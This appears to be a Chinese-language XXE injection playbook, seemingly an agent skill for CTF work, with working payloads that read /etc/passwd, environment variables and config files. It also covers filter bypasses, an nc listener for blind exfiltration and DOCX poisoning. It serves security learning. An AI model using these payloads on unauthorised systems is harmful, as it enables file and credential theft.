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xxe-injection-methodology

DevOps & Security
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XML外部实体注入(XXE)的检测与利用方法论。当目标有 XML 解析、SOAP API、文件上传(DOCX/XLSX/SVG)、或任何接受 XML 输入的端点时使用。包含基础文件读取、盲 XXE 外带(参数实体+外部DTD)、SVG/DOCX XXE、SOAP Envelope XXE、JSON→XML 转换攻击。即使 API 文档说只接受 JSON,也应尝试 XML Content-Type 测试隐式 XXE。

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XXE 注入攻击方法论

深入参考


Phase 1: 发现 XXE 入口

  • Content-Type: application/xml 或 text/xml 的端点
  • 将 JSON 请求改为 XML:即使端点接受 JSON,也尝试发 XML(很多后端同时支持两种格式)
  • 文件上传(DOCX, XLSX, SVG 都是 XML 格式)
  • SOAP API(URL 含 /ws/、/soap/、/wsdl/)

Phase 2: 基础 XXE 文件读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

关键:&xxe; 必须放在会被回显的 XML 元素里!

常见目标文件

file:///flag.txt
file:///flag
file:///app/flag.txt
file:///etc/passwd
file:///app/app.py
file:///proc/self/environ

Phase 3: 利用决策树

XXE 入口确认
├─ SOAP 端点? → XXE 必须嵌入 SOAP Envelope!→ [references/xxe-exploitation.md](references/xxe-exploitation.md)
├─ 有回显? → 直接 ENTITY file:/// 读文件
├─ 无回显? → 盲 XXE 参数实体 + 外部 DTD 外带
│  └─ 用 bash 运行 `python3 -m http.server` 或 `nc -lvp PORT` 接收 OOB 回调
│  └─ [references/xxe-exploitation.md](references/xxe-exploitation.md)
├─ PHP 目标? → php://filter/convert.base64-encode 绕过 XML 特殊字符
└─ 文件上传入口? → SVG/DOCX XXE → [references/xxe-exploitation.md](references/xxe-exploitation.md)

Phase 4: PHP 特殊技巧

PHP 文件含 < 等特殊字符会破坏 XML 解析,使用 php://filter base64 编码绕过:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/app/config.php">

Phase 5: JSON → XML 转换攻击

有些后端同时支持 JSON 和 XML,解析器自动选择格式:

Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<root><username>&xxe;</username><password>test</password></root>

即使文档说 JSON,也尝试 XML Content-Type,可能存在隐式支持。

XXE 防御绕过

  • <!DOCTYPE> 被过滤 → 尝试 UTF-16 编码
  • ENTITY 被过滤 → 尝试参数实体 %xxe;
  • SYSTEM 被过滤 → 尝试 PUBLIC "x" "file:///flag"

注意事项

  • XXE 本质上包含 SSRF:SYSTEM "http://..." 就是服务端请求
  • XML 解析器差异:Python lxml 默认禁用外部实体;Java 老版本默认启用
  • 盲 XXE 需要外部服务器:参数实体外带需要你控制一台服务器接收数据

CTF XXE 技巧补充

DOCX/Office XML 上传 XXE

DOCX 是 ZIP 包含 XML,修改 [Content_Types].xml 注入 XXE:

unzip template.docx
# 编辑 [Content_Types].xml 添加 DOCTYPE + ENTITY
zip -r exploit.docx . 
# 上传后服务端解析 XML 时触发 XXE

XML 注入点扩展

除了常规请求体,检查这些注入点:

  • X-Forwarded-For 等 Header 被写入 XML 日志时
  • SVG 文件上传(SVG 是 XML)
  • SOAP/SAML 端点
  • RSS/Atom feed 输入